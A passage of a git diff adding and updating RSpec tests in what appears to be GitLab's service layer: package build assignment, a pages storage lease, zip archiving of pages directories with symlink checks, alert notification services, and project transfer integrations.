+ expect { subject }.to change { package.package_files.count }.by(1)
.and change { Packages::PackageFileBuildInfo.count }.by(1)
package_file = package.package_files.last
@@ -54,5 +54,7 @@ RSpec.describe Packages::Generic::CreatePackageFileService do
expect(package_file.file_sha256).to eq(sha256)
end
end
+
+ it_behaves_like 'assigns build to package file'
end
end
diff --git a/spec/services/packages/nuget/create_package_service_spec.rb b/spec/services/packages/nuget/create_package_service_spec.rb
index e51bc03f311..5289ad40d61 100644
--- a/spec/services/packages/nuget/create_package_service_spec.rb
+++ b/spec/services/packages/nuget/create_package_service_spec.rb
@@ -31,5 +31,6 @@ RSpec.describe Packages::Nuget::CreatePackageService do
end
it_behaves_like 'assigns the package creator'
+ it_behaves_like 'assigns build to package'
end
end
diff --git a/spec/services/packages/pypi/create_package_service_spec.rb b/spec/services/packages/pypi/create_package_service_spec.rb
index c985c1e54ea..28a727c4a09 100644
--- a/spec/services/packages/pypi/create_package_service_spec.rb
+++ b/spec/services/packages/pypi/create_package_service_spec.rb
@@ -51,6 +51,8 @@ RSpec.describe Packages::Pypi::CreatePackageService do
let(:package) { created_package }
end
+ it_behaves_like 'assigns build to package'
+
context 'with an existing package' do
before do
described_class.new(project, user, params).execute
diff --git a/spec/services/pages/legacy_storage_lease_spec.rb b/spec/services/pages/legacy_storage_lease_spec.rb
new file mode 100644
index 00000000000..c022da6f47f
--- /dev/null
+++ b/spec/services/pages/legacy_storage_lease_spec.rb
@@ -0,0 +1,73 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ::Pages::LegacyStorageLease do
+ let(:project) { create(:project) }
+
+ let(:implementation) do
+ Class.new do
+ include ::Pages::LegacyStorageLease
+
+ attr_reader :project
+
+ def initialize(project)
+ @project = project
+ end
+
+ def execute
+ try_obtain_lease do
+ execute_unsafe
+ end
+ end
+
+ def execute_unsafe
+ true
+ end
+ end
+ end
+
+ let(:service) { implementation.new(project) }
+
+ it 'allows method to be executed' do
+ expect(service).to receive(:execute_unsafe).and_call_original
+
+ expect(service.execute).to eq(true)
+ end
+
+ context 'when another service holds the lease for the same project' do
+ around do |example|
+ implementation.new(project).try_obtain_lease do
+ example.run
+ end
+ end
+
+ it 'does not run guarded method' do
+ expect(service).not_to receive(:execute_unsafe)
+
+ expect(service.execute).to eq(nil)
+ end
+
+ it 'runs guarded method if feature flag is disabled' do
+ stub_feature_flags(pages_use_legacy_storage_lease: false)
+
+ expect(service).to receive(:execute_unsafe).and_call_original
+
+ expect(service.execute).to eq(true)
+ end
+ end
+
+ context 'when another service holds the lease for the different project' do
+ around do |example|
+ implementation.new(create(:project)).try_obtain_lease do
+ example.run
+ end
+ end
+
+ it 'allows method to be executed' do
+ expect(service).to receive(:execute_unsafe).and_call_original
+
+ expect(service.execute).to eq(true)
+ end
+ end
+end
diff --git a/spec/services/pages/zip_directory_service_spec.rb b/spec/services/pages/zip_directory_service_spec.rb
new file mode 100644
index 00000000000..1568103d102
--- /dev/null
+++ b/spec/services/pages/zip_directory_service_spec.rb
@@ -0,0 +1,209 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Pages::ZipDirectoryService do
+ around do |example|
+ Dir.mktmpdir do |dir|
+ @work_dir = dir
+ example.run
+ end
+ end
+
+ let(:result) do
+ described_class.new(@work_dir).execute
+ end
+
+ let(:archive) { result.first }
+ let(:entries_count) { result.second }
+
+ it 'raises error if there is no public directory' do
+ expect { archive }.to raise_error(described_class::InvalidArchiveError)
+ end
+
+ it 'raises error if public directory is a symlink' do
+ create_dir('target')
+ create_file('./target/index.html', 'hello')
+ create_link("public", "./target")
+
+ expect { archive }.to raise_error(described_class::InvalidArchiveError)
+ end
+
+ context 'when there is a public directory' do
+ before do
+ create_dir('public')
+ end
+
+ it 'creates the file next the public directory' do
+ expect(archive).to eq(File.join(@work_dir, "@migrated.zip"))
+ end
+
+ it 'includes public directory' do
+ with_zip_file do |zip_file|
+ entry = zip_file.get_entry("public/")
+ expect(entry.ftype).to eq(:directory)
+ end
+ end
+
+ it 'returns number of entries' do
+ create_file("public/index.html", "hello")
+ create_link("public/link.html", "./index.html")
+ expect(entries_count).to eq(3) # + 'public' directory
+ end
+
+ it 'removes the old file if it exists' do
+ # simulate the old run
+ described_class.new(@work_dir).execute
+
+ with_zip_file do |zip_file|
+ expect(zip_file.entries.count).to eq(1)
+ end
+ end
+
+ it 'ignores other top level files and directories' do
+ create_file("top_level.html", "hello")
+ create_dir("public2")
+
+ with_zip_file do |zip_file|
+ expect { zip_file.get_entry("top_level.html") }.to raise_error(Errno::ENOENT)
+ expect { zip_file.get_entry("public2/") }.to raise_error(Errno::ENOENT)
+ end
+ end
+
+ it 'includes index.html file' do
+ create_file("public/index.html", "Hello!")
+
+ with_zip_file do |zip_file|
+ entry = zip_file.get_entry("public/index.html")
+ expect(zip_file.read(entry)).to eq("Hello!")
+ end
+ end
+
+ it 'includes hidden file' do
+ create_file("public/.hidden.html", "Hello!")
+
+ with_zip_file do |zip_file|
+ entry = zip_file.get_entry("public/.hidden.html")
+ expect(zip_file.read(entry)).to eq("Hello!")
+ end
+ end
+
+ it 'includes nested directories and files' do
+ create_dir("public/nested")
+ create_dir("public/nested/nested2")
+ create_file("public/nested/nested2/nested.html", "Hello nested")
+
+ with_zip_file do |zip_file|
+ entry = zip_file.get_entry("public/nested")
+ expect(entry.ftype).to eq(:directory)
+
+ entry = zip_file.get_entry("public/nested/nested2")
+ expect(entry.ftype).to eq(:directory)
+
+ entry = zip_file.get_entry("public/nested/nested2/nested.html")
+ expect(zip_file.read(entry)).to eq("Hello nested")
+ end
+ end
+
+ it 'adds a valid symlink' do
+ create_file("public/target.html", "hello")
+ create_link("public/link.html", "./target.html")
+
+ with_zip_file do |zip_file|
+ entry = zip_file.get_entry("public/link.html")
+ expect(entry.ftype).to eq(:symlink)
+ expect(zip_file.read(entry)).to eq("./target.html")
+ end
+ end
+
+ it 'ignores the symlink pointing outside of public directory' do
+ create_file("target.html", "hello")
+ create_link("public/link.html", "../target.html")
+
+ with_zip_file do |zip_file|
+ expect { zip_file.get_entry("public/link.html") }.to raise_error(Errno::ENOENT)
+ end
+ end
+
+ it 'ignores the symlink if target is absent' do
+ create_link("public/link.html", "./target.html")
+
+ with_zip_file do |zip_file|
+ expect { zip_file.get_entry("public/link.html") }.to raise_error(Errno::ENOENT)
+ end
+ end
+
+ it 'ignores symlink if is absolute and points to outside of directory' do
+ target = File.join(@work_dir, "target")
+ FileUtils.touch(target)
+
+ create_link("public/link.html", target)
+
+ with_zip_file do |zip_file|
+ expect { zip_file.get_entry("public/link.html") }.to raise_error(Errno::ENOENT)
+ end
+ end
+
+ it "includes raw symlink if it's target is a valid directory" do
+ create_dir("public/target")
+ create_file("public/target/index.html", "hello")
+ create_link("public/link", "./target")
+
+ with_zip_file do |zip_file|
+ expect(zip_file.entries.count).to eq(4) # /public and 3 created above
+
+ entry = zip_file.get_entry("public/link")
+ expect(entry.ftype).to eq(:symlink)
+ expect(zip_file.read(entry)).to eq("./target")
+ end
+ end
+ end
+
+ context "validating fixtures pages archives" do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:fixture_path) do
+ ["spec/fixtures/pages.zip", "spec/fixtures/pages_non_writeable.zip"]
+ end
+
+ with_them do
+ let(:full_fixture_path) { Rails.root.join(fixture_path) }
+
+ it 'a created archives contains exactly the same entries' do
+ SafeZip::Extract.new(full_fixture_path).extract(directories: ['public'], to: @work_dir)
+
+ with_zip_file do |created_archive|
+ Zip::File.open(full_fixture_path) do |original_archive|
+ original_archive.entries do |original_entry|
+ created_entry = created_archive.get_entry(original_entry.name)
+
+ expect(created_entry.name).to eq(original_entry.name)
+ expect(created_entry.ftype).to eq(original_entry.ftype)
+ expect(created_archive.read(created_entry)).to eq(original_archive.read(original_entry))
+ end
+ end
+ end
+ end
+ end
+ end
+
+ def create_file(name, content)
+ File.open(File.join(@work_dir, name), "w") do |f|
+ f.write(content)
+ end
+ end
+
+ def create_dir(dir)
+ Dir.mkdir(File.join(@work_dir, dir))
+ end
+
+ def create_link(new_name, target)
+ File.symlink(target, File.join(@work_dir, new_name))
+ end
+
+ def with_zip_file
+ Zip::File.open(archive) do |zip_file|
+ yield zip_file
+ end
+ end
+end
diff --git a/spec/services/post_receive_service_spec.rb b/spec/services/post_receive_service_spec.rb
index 7c4b7f51cc3..4e303bfc20a 100644
--- a/spec/services/post_receive_service_spec.rb
+++ b/spec/services/post_receive_service_spec.rb
@@ -45,6 +45,12 @@ RSpec.describe PostReceiveService do
it 'does not return error' do
expect(subject).to be_empty
end
+
+ it 'does not record a namespace onboarding progress action' do
+ expect(NamespaceOnboardingAction).not_to receive(:create_action)
+
+ subject
+ end
end
context 'when repository is nil' do
@@ -80,6 +86,13 @@ RSpec.describe PostReceiveService do
expect(response.reference_counter_decreased).to be(true)
end
+
+ it 'records a namespace onboarding progress action' do
+ expect(NamespaceOnboardingAction).to receive(:create_action)
+ .with(project.namespace, :git_write)
+
+ subject
+ end
end
context 'with Project' do
diff --git a/spec/services/projects/alerting/notify_service_spec.rb b/spec/services/projects/alerting/notify_service_spec.rb
index 4674f614cf1..4b7b7b0b200 100644
--- a/spec/services/projects/alerting/notify_service_spec.rb
+++ b/spec/services/projects/alerting/notify_service_spec.rb
@@ -13,7 +13,7 @@ RSpec.describe Projects::Alerting::NotifyService do
let(:token) { 'invalid-token' }
let(:starts_at) { Time.current.change(usec: 0) }
let(:fingerprint) { 'testing' }
- let(:service) { described_class.new(project, nil, payload) }
+ let(:service) { described_class.new(project, payload) }
let_it_be(:environment) { create(:environment, project: project) }
let(:environment) { create(:environment, project: project) }
let(:ended_at) { nil }
@@ -54,7 +54,6 @@ RSpec.describe Projects::Alerting::NotifyService do
shared_examples 'assigns the alert properties' do
it 'ensure that created alert has all data properly assigned' do
subject
-
expect(last_alert_attributes).to match(
project_id: project.id,
title: payload_raw.fetch(:title),
@@ -62,6 +61,7 @@ RSpec.describe Projects::Alerting::NotifyService do
severity: payload_raw.fetch(:severity),
status: AlertManagement::Alert.status_value(:triggered),
events: 1,
+ domain: 'operations',
hosts: payload_raw.fetch(:hosts),
payload: payload_raw.with_indifferent_access,
issue_id: nil,
@@ -187,6 +187,7 @@ RSpec.describe Projects::Alerting::NotifyService do
status: AlertManagement::Alert.status_value(:triggered),
events: 1,
hosts: [],
+ domain: 'operations',
payload: payload_raw.with_indifferent_access,
issue_id: nil,
description: nil,
diff --git a/spec/services/projects/container_repository/delete_tags_service_spec.rb b/spec/services/projects/container_repository/delete_tags_service_spec.rb
index a012ec29be5..4da416d9698 100644
--- a/spec/services/projects/container_repository/delete_tags_service_spec.rb
+++ b/spec/services/projects/container_repository/delete_tags_service_spec.rb
@@ -20,6 +20,7 @@ RSpec.describe Projects::ContainerRepository::DeleteTagsService do
service_class: 'Projects::ContainerRepository::DeleteTagsService',
message: 'deleted tags',
container_repository_id: repository.id,
+ project_id: repository.project_id,
deleted_tags_count: tags.size
)
@@ -32,7 +33,8 @@ RSpec.describe Projects::ContainerRepository::DeleteTagsService do
log_data = {
service_class: 'Projects::ContainerRepository::DeleteTagsService',
message: message,
- container_repository_id: repository.id
+ container_repository_id: repository.id,
+ project_id: repository.project_id
}
log_data.merge!(extra_log) if extra_log.any?
diff --git a/spec/services/projects/fork_service_spec.rb b/spec/services/projects/fork_service_spec.rb
index 555f2f5a5e5..60dfee820ca 100644
--- a/spec/services/projects/fork_service_spec.rb
+++ b/spec/services/projects/fork_service_spec.rb
@@ -325,7 +325,7 @@ RSpec.describe Projects::ForkService do
storage_move = create(
:project_repository_storage_move,
:scheduled,
- project: project,
+ container: project,
destination_storage_name: 'test_second_storage'
)
Projects::UpdateRepositoryStorageService.new(storage_move).execute
@@ -344,10 +344,6 @@ RSpec.describe Projects::ForkService do
let(:fork_from_project) { create(:project, :public) }
let(:forker) { create(:user) }
- before do
- stub_feature_flags(object_pools: true)
- end
-
context 'when no pool exists' do
it 'creates a new object pool' do
forked_project = fork_project(fork_from_project, forker, using_service: true)
diff --git a/spec/services/projects/git_deduplication_service_spec.rb b/spec/services/projects/git_deduplication_service_spec.rb
index b98db5bc41b..e6eff936de7 100644
--- a/spec/services/projects/git_deduplication_service_spec.rb
+++ b/spec/services/projects/git_deduplication_service_spec.rb
@@ -139,7 +139,7 @@ RSpec.describe Projects::GitDeduplicationService do
end
it 'fails when a lease is already out' do
- expect(service).to receive(:log_error).with("Cannot obtain an exclusive lease for #{service.class.name}. There must be another instance already in execution.")
+ expect(service).to receive(:log_error).with("Cannot obtain an exclusive lease for #{lease_key}. There must be another instance already in execution.")
service.execute
end
diff --git a/spec/services/projects/hashed_storage/migrate_repository_service_spec.rb b/spec/services/projects/hashed_storage/migrate_repository_service_spec.rb
index f0fd243f0ca..47252bcf7a7 100644
--- a/spec/services/projects/hashed_storage/migrate_repository_service_spec.rb
+++ b/spec/services/projects/hashed_storage/migrate_repository_service_spec.rb
@@ -28,7 +28,7 @@ RSpec.describe Projects::HashedStorage::MigrateRepositoryService do
end
it 'fails when a git operation is in progress' do
- allow(project).to receive(:repo_reference_count) { 1 }
+ allow(project).to receive(:git_transfer_in_progress?) { true }
expect { service.execute }.to raise_error(Projects::HashedStorage::RepositoryInUseError)
end
diff --git a/spec/services/projects/hashed_storage/rollback_repository_service_spec.rb b/spec/services/projects/hashed_storage/rollback_repository_service_spec.rb
index 492eb0956aa..af128a532b9 100644
--- a/spec/services/projects/hashed_storage/rollback_repository_service_spec.rb
+++ b/spec/services/projects/hashed_storage/rollback_repository_service_spec.rb
@@ -28,7 +28,7 @@ RSpec.describe Projects::HashedStorage::RollbackRepositoryService, :clean_gitlab
end
it 'fails when a git operation is in progress' do
- allow(project).to receive(:repo_reference_count) { 1 }
+ allow(project).to receive(:git_transfer_in_progress?) { true }
expect { service.execute }.to raise_error(Projects::HashedStorage::RepositoryInUseError)
end
diff --git a/spec/services/projects/move_access_service_spec.rb b/spec/services/projects/move_access_service_spec.rb
index 02f80988dd1..90167ffebed 100644
--- a/spec/services/projects/move_access_service_spec.rb
+++ b/spec/services/projects/move_access_service_spec.rb
@@ -91,7 +91,7 @@ RSpec.describe Projects::MoveAccessService do
it 'does not remove remaining memberships' do
target_project.add_maintainer(maintainer_user)
- subject.execute(project_with_access, options)
+ subject.execute(project_with_access, **options)
expect(project_with_access.project_members.count).not_to eq 0
end
@@ -99,7 +99,7 @@ RSpec.describe Projects::MoveAccessService do
it 'does not remove remaining group links' do
target_project.project_group_links.create!(group: maintainer_group, group_access: Gitlab::Access::MAINTAINER)
- subject.execute(project_with_access, options)
+ subject.execute(project_with_access, **options)
expect(project_with_access.project_group_links.count).not_to eq 0
end
@@ -107,7 +107,7 @@ RSpec.describe Projects::MoveAccessService do
it 'does not remove remaining authorizations' do
target_project.add_developer(developer_user)
- subject.execute(project_with_access, options)
+ subject.execute(project_with_access, **options)
expect(project_with_access.project_authorizations.count).not_to eq 0
end
diff --git a/spec/services/projects/move_deploy_keys_projects_service_spec.rb b/spec/services/projects/move_deploy_keys_projects_service_spec.rb
index e69b4dd4fc7..bd93b80f712 100644
--- a/spec/services/projects/move_deploy_keys_projects_service_spec.rb
+++ b/spec/services/projects/move_deploy_keys_projects_service_spec.rb
@@ -51,7 +51,7 @@ RSpec.describe Projects::MoveDeployKeysProjectsService do
it 'does not remove remaining deploy keys projects' do
target_project.deploy_keys << project_with_deploy_keys.deploy_keys.first
- subject.execute(project_with_deploy_keys, options)
+ subject.execute(project_with_deploy_keys, **options)
expect(project_with_deploy_keys.deploy_keys_projects.count).not_to eq 0
end
diff --git a/spec/services/projects/move_lfs_objects_projects_service_spec.rb b/spec/services/projects/move_lfs_objects_projects_service_spec.rb
index b73286fba9a..e3df5fed9cf 100644
--- a/spec/services/projects/move_lfs_objects_projects_service_spec.rb
+++ b/spec/services/projects/move_lfs_objects_projects_service_spec.rb
@@ -48,7 +48,7 @@ RSpec.describe Projects::MoveLfsObjectsProjectsService do
it 'does not remove remaining lfs objects' do
target_project.lfs_objects << project_with_lfs_objects.lfs_objects.first(2)
- subject.execute(project_with_lfs_objects, options)
+ subject.execute(project_with_lfs_objects, **options)
expect(project_with_lfs_objects.lfs_objects.count).not_to eq 0
end
diff --git a/spec/services/projects/move_notification_settings_service_spec.rb b/spec/services/projects/move_notification_settings_service_spec.rb
index 7c9f1dd30d2..e381ae7590f 100644
--- a/spec/services/projects/move_notification_settings_service_spec.rb
+++ b/spec/services/projects/move_notification_settings_service_spec.rb
@@ -49,7 +49,7 @@ RSpec.describe Projects::MoveNotificationSettingsService do
let(:options) { { remove_remaining_elements: false } }
it 'does not remove remaining notification settings' do
- subject.execute(project_with_notifications, options)
+ subject.execute(project_with_notifications, **options)
expect(project_with_notifications.notification_settings.count).not_to eq 0
end
diff --git a/spec/services/projects/move_project_authorizations_service_spec.rb b/spec/services/projects/move_project_authorizations_service_spec.rb
index a37b4d807a0..d47b13ca939 100644
--- a/spec/services/projects/move_project_authorizations_service_spec.rb
+++ b/spec/services/projects/move_project_authorizations_service_spec.rb
@@ -49,7 +49,7 @@ RSpec.describe Projects::MoveProjectAuthorizationsService do
target_project.add_maintainer(developer_user)
target_project.add_developer(reporter_user)
- subject.execute(project_with_users, options)
+ subject.execute(project_with_users, **options)
expect(project_with_users.project_authorizations.count).not_to eq 0
end
diff --git a/spec/services/projects/move_project_group_links_service_spec.rb b/spec/services/projects/move_project_group_links_service_spec.rb
index 6304eded8d3..1fca96a0367 100644
--- a/spec/services/projects/move_project_group_links_service_spec.rb
+++ b/spec/services/projects/move_project_group_links_service_spec.rb
@@ -58,7 +58,7 @@ RSpec.describe Projects::MoveProjectGroupLinksService do
target_project.project_group_links.create!(group: maintainer_group, group_access: Gitlab::Access::MAINTAINER)
target_project.project_group_links.create!(group: developer_group, group_access: Gitlab::Access::DEVELOPER)
- subject.execute(project_with_groups, options)
+ subject.execute(project_with_groups, **options)
expect(project_with_groups.project_group_links.count).not_to eq 0
end
diff --git a/spec/services/projects/move_project_members_service_spec.rb b/spec/services/projects/move_project_members_service_spec.rb
index f14f00e3866..8fbd0ba3270 100644
--- a/spec/services/projects/move_project_members_service_spec.rb
+++ b/spec/services/projects/move_project_members_service_spec.rb
@@ -58,7 +58,7 @@ RSpec.describe Projects::MoveProjectMembersService do
target_project.add_maintainer(developer_user)
target_project.add_developer(reporter_user)
- subject.execute(project_with_users, options)
+ subject.execute(project_with_users, **options)
expect(project_with_users.project_members.count).not_to eq 0
end
diff --git a/spec/services/projects/open_issues_count_service_spec.rb b/spec/services/projects/open_issues_count_service_spec.rb
index 294c9adcc92..c739fea5ecf 100644
--- a/spec/services/projects/open_issues_count_service_spec.rb
+++ b/spec/services/projects/open_issues_count_service_spec.rb
@@ -10,14 +10,6 @@ RSpec.describe Projects::OpenIssuesCountService, :use_clean_rails_memory_store_c
it_behaves_like 'a counter caching service'
describe '#count' do
- it 'does not count test cases' do
- create(:issue, :opened, project: project)
- create(:incident, :opened, project: project)
- create(:quality_test_case, :opened, project: project)
-
- expect(described_class.new(project).count).to eq(2)
- end
-
context 'when user is nil' do
it 'does not include confidential issues in the issue count' do
create(:issue, :opened, project: project)
diff --git a/spec/services/projects/participants_service_spec.rb b/spec/services/projects/participants_service_spec.rb
index 33a3e37a2d2..b84e28314f2 100644
--- a/spec/services/projects/participants_service_spec.rb
+++ b/spec/services/projects/participants_service_spec.rb
@@ -3,57 +3,100 @@
require 'spec_helper'
RSpec.describe Projects::ParticipantsService do
- describe '#groups' do
+ describe '#execute' do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project, :public) }
- let(:service) { described_class.new(project, user) }
+ let_it_be(:noteable) { create(:issue, project: project) }
- it 'avoids N+1 queries' do
- group_1 = create(:group)
- group_1.add_owner(user)
+ before_all do
+ project.add_developer(user)
+ end
- service.groups # Run general application warmup queries
- control_count = ActiveRecord::QueryRecorder.new { service.groups }.count
+ def run_service
+ described_class.new(project, user).execute(noteable)
+ end
- group_2 = create(:group)
- group_2.add_owner(user)
+ context 'N+1 checks' do
+ before do
+ run_service # warmup, runs table cache queries and create queries
+ BatchLoader::Executor.clear_current
+ end
- expect { service.groups }.not_to exceed_query_limit(control_count)
- end
+ it 'avoids N+1 UserDetail queries' do
+ project.add_developer(create(:user))
- it 'returns correct user counts for groups' do
- group_1 = create(:group)
- group_1.add_owner(user)
- group_1.add_owner(create(:user))
+ control_count = ActiveRecord::QueryRecorder.new { run_service.to_a }.count
- group_2 = create(:group)
- group_2.add_owner(user)
- create(:group_member, :access_request, group: group_2, user: create(:user))
+ BatchLoader::Executor.clear_current
- expect(service.groups).to contain_exactly(
- a_hash_including(name: group_1.full_name, count: 2),
- a_hash_including(name: group_2.full_name, count: 1)
- )
- end
+ project.add_developer(create(:user, status: build(:user_status, availability: :busy)))
+
+ expect { run_service.to_a }.not_to exceed_query_limit(control_count)
+ end
- describe 'avatar_url' do
- let(:group) { create(:group, avatar: fixture_file_upload('spec/fixtures/dk.png')) }
+ it 'avoids N+1 groups queries' do
+ group_1 = create(:group)
+ group_1.add_owner(user)
- before do
- group.add_owner(user)
+ control_count = ActiveRecord::QueryRecorder.new { run_service }.count
+
+ BatchLoader::Executor.clear_current
+
+ group_2 = create(:group)
+ group_2.add_owner(user)
+
+ expect { run_service }.not_to exceed_query_limit(control_count)
end
+ end
+
+ it 'does not return duplicate author' do
+ participants = run_service
- it 'returns an url for the avatar' do
- expect(service.groups.size).to eq 1
- expect(service.groups.first[:avatar_url]).to eq("/uploads/-/system/group/avatar/#{group.id}/dk.png")
+ expect(participants.count { |p| p[:username] == noteable.author.username }).to eq 1
+ end
+
+ describe 'group items' do
+ subject(:group_items) { run_service.select { |hash| hash[:type].eql?('Group') } }
+
+ describe 'group user counts' do
+ let(:group_1) { create(:group) }
+ let(:group_2) { create(:group) }
+
+ before do
+ group_1.add_owner(user)
+ group_1.add_owner(create(:user))
+
+ group_2.add_owner(user)
+ create(:group_member, :access_request, group: group_2, user: create(:user))
+ end
+
+ it 'returns correct user counts for groups' do
+ expect(group_items).to contain_exactly(
+ a_hash_including(name: group_1.full_name, count: 2),
+ a_hash_including(name: group_2.full_name, count: 1)
+ )
+ end
end
- it 'returns an url for the avatar with relative url' do
- stub_config_setting(relative_url_root: '/gitlab')
- stub_config_setting(url: Settings.send(:build_gitlab_url))
+ describe 'avatar_url' do
+ let(:group) { create(:group, avatar: fixture_file_upload('spec/fixtures/dk.png')) }
+
+ before do
+ group.add_owner(user)
+ end
- expect(service.groups.size).to eq 1
- expect(service.groups.first[:avatar_url]).to eq("/gitlab/uploads/-/system/group/avatar/#{group.id}/dk.png")
+ it 'returns an url for the avatar' do
+ expect(group_items.size).to eq 1
+ expect(group_items.first[:avatar_url]).to eq("/uploads/-/system/group/avatar/#{group.id}/dk.png")
+ end
+
+ it 'returns an url for the avatar with relative url' do
+ stub_config_setting(relative_url_root: '/gitlab')
+ stub_config_setting(url: Settings.send(:build_gitlab_url))
+
+ expect(group_items.size).to eq 1
+ expect(group_items.first[:avatar_url]).to eq("/gitlab/uploads/-/system/group/avatar/#{group.id}/dk.png")
+ end
end
end
end
diff --git a/spec/services/projects/prometheus/alerts/notify_service_spec.rb b/spec/services/projects/prometheus/alerts/notify_service_spec.rb
index 0e5ac7c69e3..8ae47ec266c 100644
--- a/spec/services/projects/prometheus/alerts/notify_service_spec.rb
+++ b/spec/services/projects/prometheus/alerts/notify_service_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe Projects::Prometheus::Alerts::NotifyService do
let_it_be(:project, reload: true) { create(:project) }
- let(:service) { described_class.new(project, nil, payload) }
+ let(:service) { described_class.new(project, payload) }
let(:token_input) { 'token' }
let!(:setting) do
@@ -138,10 +138,10 @@ RSpec.describe Projects::Prometheus::Alerts::NotifyService do
end
end
- context 'with generic alerts integration' do
+ context 'with HTTP integration' do
using RSpec::Parameterized::TableSyntax
- where(:alerts_service, :token, :result) do
+ where(:active, :token, :result) do
:active | :valid | :success
:active | :invalid | :failure
:active | nil | :failure
@@ -150,15 +150,12 @@ RSpec.describe Projects::Prometheus::Alerts::NotifyService do
end
with_them do
- let(:valid) { project.alerts_service.token }
+ let(:valid) { integration.token }
let(:invalid) { 'invalid token' }
let(:token_input) { public_send(token) if token }
+ let(:integration) { create(:alert_management_http_integration, active, project: project) if active }
- before do
- if alerts_service
- create(:alerts_service, alerts_service, project: project)
- end
- end
+ let(:subject) { service.execute(token_input, integration) }
case result = params[:result]
when :success
@@ -221,7 +218,7 @@ RSpec.describe Projects::Prometheus::Alerts::NotifyService do
it 'processes Prometheus alerts' do
expect(AlertManagement::ProcessPrometheusAlertService)
.to receive(:new)
- .with(project, nil, kind_of(Hash))
+ .with(project, kind_of(Hash))
.exactly(3).times
.and_return(process_service)
expect(process_service).to receive(:execute).exactly(3).times
diff --git a/spec/services/projects/schedule_bulk_repository_shard_moves_service_spec.rb b/spec/services/projects/schedule_bulk_repository_shard_moves_service_spec.rb
new file mode 100644
index 00000000000..5b76386bfab
--- /dev/null
+++ b/spec/services/projects/schedule_bulk_repository_shard_moves_service_spec.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Projects::ScheduleBulkRepositoryShardMovesService do
+ before do
+ stub_storage_settings('test_second_storage' => { 'path' => 'tmp/tests/extra_storage' })
+ end
+
+ let!(:project) { create(:project, :repository).tap { |project| project.track_project_repository } }
+ let(:source_storage_name) { 'default' }
+ let(:destination_storage_name) { 'test_second_storage' }
+
+ describe '#execute' do
+ it 'schedules project repository storage moves' do
+ expect { subject.execute(source_storage_name, destination_storage_name) }
+ .to change(ProjectRepositoryStorageMove, :count).by(1)
+
+ storage_move = project.repository_storage_moves.last!
+
+ expect(storage_move).to have_attributes(
+ source_storage_name: source_storage_name,
+ destination_storage_name: destination_storage_name,
+ state_name: :scheduled
+ )
+ end
+
+ context 'read-only repository' do
+ let!(:project) { create(:project, :repository, :read_only).tap { |project| project.track_project_repository } }
+
+ it 'does not get scheduled' do
+ expect(subject).to receive(:log_info)
+ .with("Project #{project.full_path} (#{project.id}) was skipped: Project is read only")
+ expect { subject.execute(source_storage_name, destination_storage_name) }
+ .to change(ProjectRepositoryStorageMove, :count).by(0)
+ end
+ end
+ end
+
+ describe '.enqueue' do
+ it 'defers to the worker' do
+ expect(::ProjectScheduleBulkRepositoryShardMovesWorker).to receive(:perform_async).with(source_storage_name, destination_storage_name)
+
+ described_class.enqueue(source_storage_name, destination_storage_name)
+ end
+ end
+end
diff --git a/spec/services/projects/transfer_service_spec.rb b/spec/services/projects/transfer_service_spec.rb
index 8e6147e7a3c..5f41ec1d610 100644
--- a/spec/services/projects/transfer_service_spec.rb
+++ b/spec/services/projects/transfer_service_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Projects::TransferService do
let_it_be(:user) { create(:user) }
let_it_be(:group) { create(:group) }
+ let_it_be(:group_integration) { create(:slack_service, group: group, project: nil, webhook: 'http://group.slack.com') }
let(:project) { create(:project, :repository, :legacy_storage, namespace: user.namespace) }
subject(:execute_transfer) { described_class.new(project, user).execute(group).tap { project.reload } }
@@ -117,6 +118,30 @@ RSpec.describe Projects::TransferService do
shard_name: project.repository_storage
)
end
+
+ context 'with a project integration' do
+ let_it_be_with_reload(:project) { create(:project, namespace: user.namespace) }
+ let_it_be(:instance_integration) { create(:slack_service, :instance, webhook: 'http://project.slack.com') }
+
+ context 'with an inherited integration' do
+ let_it_be(:project_integration) { create(:slack_service, project: project, webhook: 'http://project.slack.com', inherit_from_id: instance_integration.id) }
+
+ it 'replaces inherited integrations', :aggregate_failures do
+ execute_transfer
+
+ expect(project.slack_service.webhook).to eq(group_integration.webhook)
+ expect(Service.count).to eq(3)
+ end
+ end
+
+ context 'with a custom integration' do
+ let_it_be(:project_integration) { create(:slack_service, project: project, webhook: 'http://project.slack.com') }
+
+ it 'does not updates the integrations' do
+ expect { execute_transfer }.not_to change { project.slack_service.webhook }
+ end
+ end
+ end
end
context 'when transfer fails' do
@@ -527,7 +552,7 @@ RSpec.describe Projects::TransferService do
group.add_owner(user)
end
- it 'schedules a job when pages are deployed' do
+ it 'schedules a job when pages are deployed' do
project.mark_pages_as_deployed
expect(PagesTransferWorker).to receive(:perform_async)
diff --git a/spec/services/projects/update_pages_service_spec.rb b/spec/services/projects/update_pages_service_spec.rb
index d2c6c0eb971..a15f6bdbe2c 100644
--- a/spec/services/projects/update_pages_service_spec.rb
+++ b/spec/services/projects/update_pages_service_spec.rb
@@ -35,13 +35,11 @@ RSpec.describe Projects::UpdatePagesService do
build.reload
end
- describe 'pages artifacts' do
- it "doesn't delete artifacts after deploying" do
- expect(execute).to eq(:success)
+ it "doesn't delete artifacts after deploying" do
+ expect(execute).to eq(:success)
- expect(project.pages_metadatum).to be_deployed
- expect(build.artifacts?).to eq(true)
- end
+ expect(project.pages_metadatum).to be_deployed
+ expect(build.artifacts?).to eq(true)
end
it 'succeeds' do
@@ -71,6 +69,16 @@ RSpec.describe Projects::UpdatePagesService do
expect(project.pages_metadatum.reload.pages_deployment_id).to eq(deployment.id)
end
+ it 'fails if another deployment is in progress' do
+ subject.try_obtain_lease do
+ expect do
+ execute
+ end.to raise_error("Failed to deploy pages - other deployment is in progress")
+
+ expect(GenericCommitStatus.last.description).to eq("Failed to deploy pages - other deployment is in progress")
+ end
+ end
+
it 'does not fail if pages_metadata is absent' do
project.pages_metadatum.destroy!
project.reload
@@ -105,16 +113,6 @@ RSpec.describe Projects::UpdatePagesService do
end
end
- it 'does not create deployment when zip_pages_deployments feature flag is disabled' do
- stub_feature_flags(zip_pages_deployments: false)
-
- expect do
- expect(execute).to eq(:success)
- end.not_to change { project.pages_deployments.count }
